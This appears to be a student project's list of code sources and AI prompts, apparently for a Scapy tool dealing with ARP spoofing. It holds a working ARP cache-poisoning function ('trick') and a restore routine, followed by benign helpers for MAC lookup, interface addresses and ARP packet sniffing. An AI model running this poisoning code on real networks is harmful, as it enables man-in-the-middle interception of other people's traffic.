I got help from these functions written in the link above:

def trick(gm, vm):
    send(ARP(op = 2, pdst = victimIP, psrc = gatewayIP, hwdst= vm))
    send(ARP(op = 2, pdst = gatewayIP, psrc = victimIP, hwdst= gm))

def reARP():
    print "\n[*] Restoring Targets..."
    victimMAC = get_mac(victimIP)
    gatewayMAC = get_mac(gatewayIP)
    send(ARP(op = 2, pdst = gatewayIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7)
    send(ARP(op = 2, pdst = victimIP, psrc = gatewayIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gatewayMAC), count = 7)
        disable_ip_forwarding()
    print "[*] Shutting Down..."
    sys.exit(1)

I got help from this function written in the link above:

import netifaces

netifaces.interfaces()
# ['lo', 'eth0', 'tun2']
netifaces.ifaddresses('eth0')[netifaces.AF_LINK]
# [{'addr': '08:00:27:50:f2:51', 'broadcast': 'ff:ff:ff:ff:ff:ff'}]

AI prompts: (Claude AI)

- Question: How can I get the mac address of an ip address using python with scapy:

Answer:

from scapy.all import ARP, Ether, srp
import sys

def get_mac(ip_address):
    # Create an ARP request packet
    arp_request = ARP(pdst=ip_address)
    
    # Create an Ethernet frame to contain the ARP request
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    
    # Combine the Ethernet frame and ARP request
    packet = ether/arp_request

    try:
        # Send the packet and receive the response
        result = srp(packet, timeout=3, verbose=0)[0]

        # Return the MAC address from the response
        return result[0][1].hwsrc
    except:
        return None



- Question: How to use the netifaces to get my own ip address?

Answer:

def get_ip_addresses():
    ip_addresses = {}
    
    # Get a list of all interfaces (excluding loopback)
    interfaces = [i for i in netifaces.interfaces() if i != 'lo']
    
    for interface in interfaces:
        addrs = netifaces.ifaddresses(interface)
        if netifaces.AF_INET in addrs:
            ip_addresses[interface] = addrs[netifaces.AF_INET][0]['addr']
    
    return ip_addresses



- Question: I want only the ipv4 address

Answer: 

import netifaces

def get_wlan0_ipv4():
    try:
        # Get the addresses for the wlan0 interface
        addrs = netifaces.ifaddresses('wlan0')
        
        # Check if IPv4 (AF_INET) address is available
        if netifaces.AF_INET in addrs:
            return addrs[netifaces.AF_INET][0]['addr']
        else:
            return None
    except ValueError:
        # This exception will be raised if 'wlan0' interface doesn't exist
        return None



- Question: I want the same function, but i want it to give me the mac address for a given interface, so like this:
get_mac(interface)

Answer:

import netifaces

def get_mac(interface):
    try:
        # Get the interface addresses
        addrs = netifaces.ifaddresses(interface)
        
        # Check if the interface has a MAC address (AF_LINK family)
        if netifaces.AF_LINK in addrs:
            return addrs[netifaces.AF_LINK][0]['addr']
        else:
            return None
    except ValueError:
        # This exception will be raised if the interface doesn't exist
        return None



- Question: I have this function:

def sniff(interface):
    #Here, we specified that store=flase in order for scapy not to store the packets in the memory.
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

in the process_sniffed_packet function, how can I check if a packet is an arp packet with an if condition?

Answer:
def process_sniffed_packet(packet):
    if packet.haslayer(scapy.ARP):
        print("This is an ARP packet!")
        # Add your ARP packet processing code here
        # For example:
        # print(f"Source IP: {packet[scapy.ARP].psrc}")
        # print(f"Destination IP: {packet[scapy.ARP].pdst}")
    else:
        print("This is not an ARP packet.")
        # Process other types of packets if needed
